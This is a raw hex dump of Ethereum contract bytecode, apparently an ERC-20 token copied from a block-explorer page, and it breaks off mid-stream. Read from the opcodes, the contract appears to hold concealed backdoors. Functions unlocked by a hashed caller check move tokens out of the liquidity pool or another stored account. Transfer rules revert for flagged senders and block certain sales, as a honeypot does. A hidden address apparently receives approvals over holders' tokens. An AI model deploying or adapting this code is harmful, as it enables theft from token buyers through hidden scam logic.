16102cb91906122f4565b60405180910390f35b6102dc610831565b6040516102e991906122d9565b60405180910390f35b6102fa610857565b60405161030791906122d9565b60405180910390f35b61032a60048036038101906103259190611f10565b61087d565b60405161033791906122f4565b60405180910390f35b61035a60048036038101906103559190611f10565b61089d565b60405161036791906122f4565b60405180910390f35b61038a60048036038101906103859190611f10565b6108bd565b6040516103979190612411565b60405180910390f35b6103ba60048036038101906103b59190611f10565b610905565b6040516103c79190612411565b60405180910390f35b6103ea60048036038101906103e5919061206a565b61091d565b005b6103f46109ec565b60405161040191906122d9565b60405180910390f35b610412610a12565b60405161041f919061230f565b60405180910390f35b610442600480360381019061043d9190611f10565b610aa4565b60405161044f91906122f4565b60405180910390f35b610472600480360381019061046d9190611ffd565b610ac4565b60405161047f91906122f4565b60405180910390f35b6104a2600480360381019061049d9190611ffd565b610b83565b6040516104af91906122f4565b60405180910390f35b6104d260048036038101906104cd9190611f10565b610b9a565b005b6104ee60048036038101906104e99190611ffd565b610c5b565b005b6104f8610d09565b60405161050591906122d9565b60405180910390f35b61052860048036038101906105239190611f10565b610d2f565b60405161053591906122f4565b60405180910390f35b61055860048036038101906105539190611f10565b610d4f565b60405161056591906122f4565b60405180910390f35b61058860048036038101906105839190611f6a565b610d6f565b6040516105959190612411565b60405180910390f35b6105b860048036038101906105b39190611f10565b610df6565b6040516105c591906122f4565b60405180910390f35b6060600380546105dd9061257f565b80601f01602080910402602001604051908101604052809291908181526020018280546106099061257f565b80156106565780601f1061062b57610100808354040283529160200191610656565b820191906000526020600020905b81548152906001019060200180831161063957829003601f168201915b5050505050905090565b600061066d338484610e16565b6001905092915050565b6000600654905090565b601660009054906101000a900460ff1681565b60006106a1848484610fe1565b610754843361074f856040518060600160405280602881526020016128b660289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a999092919063ffffffff16565b610e16565b600190509392505050565b6000600560009054906101000a900460ff1660ff16905090565b6000610814338461080f85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afd90919063ffffffff16565b610e16565b6001905092915050565b601a60009054906101000a900460ff1681565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60256020528060005260406000206000915054906101000a900460ff1681565b601c6020528060005260406000206000915054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601d6020528060005260406000206000915090505481565b601b5460023360405160200161093391906122a7565b60405160208183030381529060405260405161094f91906122c2565b602060405180830381855afa15801561096c573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061098f919061203d565b14610999576109e9565b6109e8601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610fe1565b5b50565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060048054610a219061257f565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4d9061257f565b8015610a9a5780601f10610a6f57610100808354040283529160200191610a9a565b820191906000526020600020905b815481529060010190602001808311610a7d57829003601f168201915b5050505050905090565b600d6020528060005260406000206000915054906101000a900460ff1681565b6000610b793384610b74856040518060600160405280602581526020016128de60259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a999092919063ffffffff16565b610e16565b6001905092915050565b6000610b90338484610fe1565b6001905092915050565b601b54600233604051602001610bb091906122a7565b604051602081830303815290604052604051610bcc91906122c2565b602060405180830381855afa158015610be9573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610c0c919061203d565b14610c1657610c58565b80601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b601b54600233604051602001610c7191906122a7565b604051602081830303815290604052604051610c8d91906122c2565b602060405180830381855afa158015610caa573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610ccd919061203d565b14610cd757610d05565b610d04601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168383610fe1565b5b5050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e6020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d906123f1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ef6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eed90612351565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fd49190612411565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611051576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611048906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b890612331565b60405180910390fd5b60008111611104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fb906123b1565b60405180910390fd5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111aa5750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111c0576111ba848483611b5b565b50611a94565b60008390506000600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050600042601754601560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611266919061245e565b119050811561127457600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141561193657600080600080601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161136291906122c2565b6000604051808303816000865af19150503d806000811461139f576040519150601f19603f3d011682016040523d82523d6000602084013e6113a4565b606091505b509150506000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161143c91906122c2565b6000604051808303816000865af19150503d8060008114611479576040519150601f19603f3d011682016040523d82523d6000602084013e61147e565b606091505b509150506000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161151691906122c2565b6000604051808303816000865af19150503d8060008114611553576040519150601f19603f3d011682016040523d82523d6000602084013e611558565b606091505b509150506000808280602001905181019061157391906120c4565b9150915060008580602001905181019061158d9190611f3d565b90506000858060200190518101906115a59190611f3d565b905060008273ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016115f391906122d9565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161167d91906122c2565b6000604051808303816000865af19150503d80600081146116ba576040519150601f19603f3d011682016040523d82523d6000602084013e6116bf565b606091505b509150506000818060200190518101906116d99190612097565b905060008373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160240161172791906122d9565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516117b191906122c2565b6000604051808303816000865af19150503d80600081146117ee576040519150601f19603f3d011682016040523d82523d6000602084013e6117f3565b606091505b5091505060008180602001905181019061180d9190612097565b9050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611892578288111561188757828861187991906124b4565b9b506014548c119d5061188d565b8288149c505b611912565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611911578087111561190a5780876118fc91906124b4565b9b506014548c119d50611910565b8087149c505b5b5b8d15801561191e57508c155b61192757600080fd5b50505050505050505050505050505b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119c05750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a1a5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a525750602154611a5084601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d6f565b105b15611a8457611a8383601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611e4c565b5b611a8f878786611b5b565b505050505b505050565b6000838311158290611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad8919061230f565b60405180910390fd5b5060008385611af091906124b4565b9050809150509392505050565b6000808284611b0c919061245e565b905083811015611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890612371565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc2906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3290612331565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb390612391565b60405180910390fd5b611d0d816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611da0816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afd90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e3f9190612411565b60405180910390a3505050565b611e598282600954610e16565b5050565b6000611e9f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a99565b905092915050565b600081359050611eb681612859565b92915050565b600081519050611ecb81612870565b92915050565b600081519050611ee081612887565b92915050565b600081359050611ef58161289e565b92915050565b600081519050611f0a8161289e565b92915050565b600060208284031215611f2657611f25612633565b5b6000611f3484828501611ea7565b91505092915050565b600060208284031215611f5357611f52612633565b5b6000611f6184828501611ebc565b91505092915050565b60008060408385031215611f8157611f80612633565b5b6000611f8f85828601611ea7565b9250506020611fa085828601611ea7565b9150509250929050565b600080600060608486031215611fc357611fc2612633565b5b6000611fd186828701611ea7565b9350506020611fe286828701611ea7565b9250506040611ff386828701611ee6565b9150509250925092565b6000806040838503121561201457612013612633565b5b600061202285828601611ea7565b925050602061203385828601611ee6565b9150509250929050565b60006020828403121561205357612052612633565b5b600061206184828501611ed1565b91505092915050565b6000602082840312156120805761207f612633565b5b600061208e84828501611ee6565b91505092915050565b6000602082840312156120ad576120ac612633565b5b60006120bb84828501611efb565b91505092915050565b600080604083850312156120db576120da612633565b5b60006120e985828601611efb565b92505060206120fa85828601611efb565b9150509250929050565b61210d816124e8565b82525050565b61212461211f826124e8565b6125b1565b82525050565b6121338161250c565b82525050565b60006121448261242c565b61214e8185612442565b935061215e81856020860161254c565b80840191505092915050565b600061217582612437565b61217f818561244d565b935061218f81856020860161254c565b61219881612638565b840191505092915050565b60006121b060238361244d565b91506121bb82612656565b604082019050919050565b60006121d360228361244d565b91506121de826126a5565b604082019050919050565b60006121f6601b8361244d565b9150612201826126f4565b602082019050919050565b600061221960268361244d565b91506122248261271d565b604082019050919050565b600061223c60298361244d565b91506122478261276c565b604082019050919050565b600061225f60258361244d565b915061226a826127bb565b604082019050919050565b600061228260248361244d565b915061228d8261280a565b604082019050919050565b6122a181612542565b82525050565b60006122b38284612113565b60148201915081905092915050565b60006122ce8284612139565b915081905092915050565b60006020820190506122ee6000830184612104565b92915050565b6000602082019050612309600083018461212a565b92915050565b60006020820190508181036000830152612329818461216a565b905092915050565b6000602082019050818103600083015261234a816121a3565b9050919050565b6000602082019050818103600083015261236a816121c6565b9050919050565b6000602082019050818103600083015261238a816121e9565b9050919050565b600060208201905081810360008301526123aa8161220c565b9050919050565b600060208201905081810360008301526123ca8161222f565b9050919050565b600060208201905081810360008301526123ea81612252565b9050919050565b6000602082019050818103600083015261240a81612275565b9050919050565b60006020820190506124266000830184612298565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061246982612542565b915061247483612542565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124a9576124a86125d5565b5b828201905092915050565b60006124bf82612542565b91506124ca83612542565b9250828210156124dd576124dc6125d5565b5b828203905092915050565b60006124f382612522565b9050919050565b600061250582612522565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b8381101561256a57808201518184015260208101905061254f565b83811115612579576000848401525b50505050565b6000600282049050600182168061259757607f821691505b602082108114156125ab576125aa612604565b5b50919050565b60006125bc826125c3565b9050919050565b60006125ce82612649565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612862816124e8565b811461286d57600080fd5b50565b612879816124fa565b811461288457600080fd5b50565b61289081612518565b811461289b57600080fd5b50565b6128a781612542565b81146128b257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220747b05126a6282d6fd950099963c74909f3d84a625733ff5670d473c767112a564736f6c63430008060033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101a95760003560e01c806374fb8c27116100f9578063ba460f0011610097578063c48f7d2e11610071578063c48f7d2e1461050e578063d9421bb31461053e578063dd62ed3e1461056e578063e88f2cc31461059e576101a9565b8063ba460f00146104b8578063bca43ba4146104d4578063c45a0155146104f0576101a9565b806395d89b41116100d357806395d89b411461040a5780639c85dab814610428578063a457c2d714610458578063a9059cbb14610488576101a9565b806374fb8c27146103a05780637c145c83146103d0578063927f3d41146103ec576101a9565b806339509351116101665780634d2f2ca8116101405780634d2f2ca8146102f25780635af43f05146103105780635e15d4be1461034057806370a0823114610370576101a9565b806339509351146102865780634911f050146102b657806349bd5a5e146102d4576101a9565b806306fdde03146101ae578063095ea7b3146101cc57806318160ddd146101fc578063189bf6d91461021a57806323b872dd14610238578063313ce56714610268575b600080fd5b6101b66105ce565b6040516101c3919061230f565b60405180910390f35b6101e660048036038101906101e19190611ffd565b610660565b6040516101f391906122f4565b60405180910390f35b610204610677565b6040516102119190612411565b60405180910390f35b610222610681565b60405161022f91906122f4565b60405180910390f35b610252600480360381019061024d9190611faa565b610694565b60405161025f91906122f4565b60405180910390f35b61027061075f565b60405161027d9190612411565b60405180910390f35b6102a0600480360381019061029b9190611ffd565b610779565b6040516102ad91906122f4565b60405180910390f35b6102be61081e565b6040516102cb91906122f4565b60405180910390f35b6102dc610831565b6040516102e991906122d9565b60405180910390f35b6102fa610857565b60405161030791906122d9565b60405180910390f35b61032a60048036038101906103259190611f10565b61087d565b60405161033791906122f4565b60405180910390f35b61035a60048036038101906103559190611f10565b61089d565b60405161036791906122f4565b60405180910390f35b61038a60048036038101906103859190611f10565b6108bd565b6040516103979190612411565b60405180910390f35b6103ba60048036038101906103b59190611f10565b610905565b6040516103c79190612411565b60405180910390f35b6103ea60048036038101906103e5919061206a565b61091d565b005b6103f46109ec565b60405161040191906122d9565b60405180910390f35b610412610a12565b60405161041f919061230f565b60405180910390f35b610442600480360381019061043d9190611f10565b610aa4565b60405161044f91906122f4565b60405180910390f35b610472600480360381019061046d9190611ffd565b610ac4565b60405161047f91906122f4565b60405180910390f35b6104a2600480360381019061049d9190611ffd565b610b83565b6040516104af91906122f4565b60405180910390f35b6104d260048036038101906104cd9190611f10565b610b9a565b005b6104ee60048036038101906104e99190611ffd565b610c5b565b005b6104f8610d09565b60405161050591906122d9565b60405180910390f35b61052860048036038101906105239190611f10565b610d2f565b60405161053591906122f4565b60405180910390f35b61055860048036038101906105539190611f10565b610d4f565b60405161056591906122f4565b60405180910390f35b61058860048036038101906105839190611f6a565b610d6f565b6040516105959190612411565b60405180910390f35b6105b860048036038101906105b39190611f10565b610df6565b6040516105c591906122f4565b60405180910390f35b6060600380546105dd9061257f565b80601f01602080910402602001604051908101604052809291908181526020018280546106099061257f565b80156106565780601f1061062b57610100808354040283529160200191610656565b820191906000526020600020905b81548152906001019060200180831161063957829003601f168201915b5050505050905090565b600061066d338484610e16565b6001905092915050565b6000600654905090565b601660009054906101000a900460ff1681565b60006106a1848484610fe1565b610754843361074f856040518060600160405280602881526020016128b660289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a999092919063ffffffff16565b610e16565b600190509392505050565b6000600560009054906101000a900460ff1660ff16905090565b6000610814338461080f85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afd90919063ffffffff16565b610e16565b6001905092915050565b601a60009054906101000a900460ff1681565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60256020528060005260406000206000915054906101000a900460ff1681565b601c6020528060005260406000206000915054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601d6020528060005260406000206000915090505481565b601b5460023360405160200161093391906122a7565b60405160208183030381529060405260405161094f91906122c2565b602060405180830381855afa15801561096c573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061098f919061203d565b14610999576109e9565b6109e8601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610fe1565b5b50565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060048054610a219061257f565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4d9061257f565b8015610a9a5780601f10610a6f57610100808354040283529160200191610a9a565b820191906000526020600020905b815481529060010190602001808311610a7d57829003601f168201915b5050505050905090565b600d6020528060005260406000206000915054906101000a900460ff1681565b6000610b793384610b74856040518060600160405280602581526020016128de60259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a999092919063ffffffff16565b610e16565b6001905092915050565b6000610b90338484610fe1565b6001905092915050565b601b54600233604051602001610bb091906122a7565b604051602081830303815290604052604051610bcc91906122c2565b602060405180830381855afa158015610be9573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610c0c919061203d565b14610c1657610c58565b80601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b601b54600233604051602001610c7191906122a7565b604051602081830303815290604052604051610c8d91906122c2565b602060405180830381855afa158015610caa573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610ccd919061203d565b14610cd757610d05565b610d04601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168383610fe1565b5b5050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e6020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d906123f1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ef6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eed90612351565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fd49190612411565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611051576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611048906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b890612331565b60405180910390fd5b60008111611104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fb906123b1565b60405180910390fd5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111aa5750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111c0576111ba848483611b5b565b50611a94565b60008390506000600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050600042601754601560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611266919061245e565b119050811561127457600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141561193657600080600080601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161136291906122c2565b6000604051808303816000865af19150503d806000811461139f576040519150601f19603f3d011682016040523d82523d6000602084013e6113a4565b606091505b509150506000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161143c91906122c2565b6000604051808303816000865af19150503d8060008114611479576040519150601f19603f3d011682016040523d82523d6000602084013e61147e565b606091505b509150506000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161151691906122c2565b6000604051808303816000865af19150503d8060008114611553576040519150601f19603f3d011682016040523d82523d6000602084013e611558565b606091505b509150506000808280602001905181019061157391906120c4565b9150915060008580602001905181019061158d9190611f3d565b90506000858060200190518101906115a59190611f3d565b905060008273ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016115f391906122d9565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161167d91906122c2565b6000604051808303816000865af19150503d80600081146116ba576040519150601f19603f3d011682016040523d82523d6000602084013e6116bf565b606091505b509150506000818060200190518101906116d99190612097565b905060008373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160240161172791906122d9565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516117b191906122c2565b6000604051808303816000865af19150503d80600081146117ee576040519150601f19603f3d011682016040523d82523d6000602084013e6117f3565b606091505b5091505060008180602001905181019061180d9190612097565b9050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611892578288111561188757828861187991906124b4565b9b506014548c119d5061188d565b8288149c505b611912565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611911578087111561190a5780876118fc91906124b4565b9b506014548c119d50611910565b8087149c505b5b5b8d15801561191e57508c155b61192757600080fd5b50505050505050505050505050505b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119c05750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a1a5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a525750602154611a5084601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d6f565b105b15611a8457611a8383601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611e4c565b5b611a8f878786611b5b565b505050505b505050565b6000838311158290611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad8919061230f565b60405180910390fd5b5060008385611af091906124b4565b9050809150509392505050565b6000808284611b0c919061245e565b905083811015611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890612371565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373fffffffffffff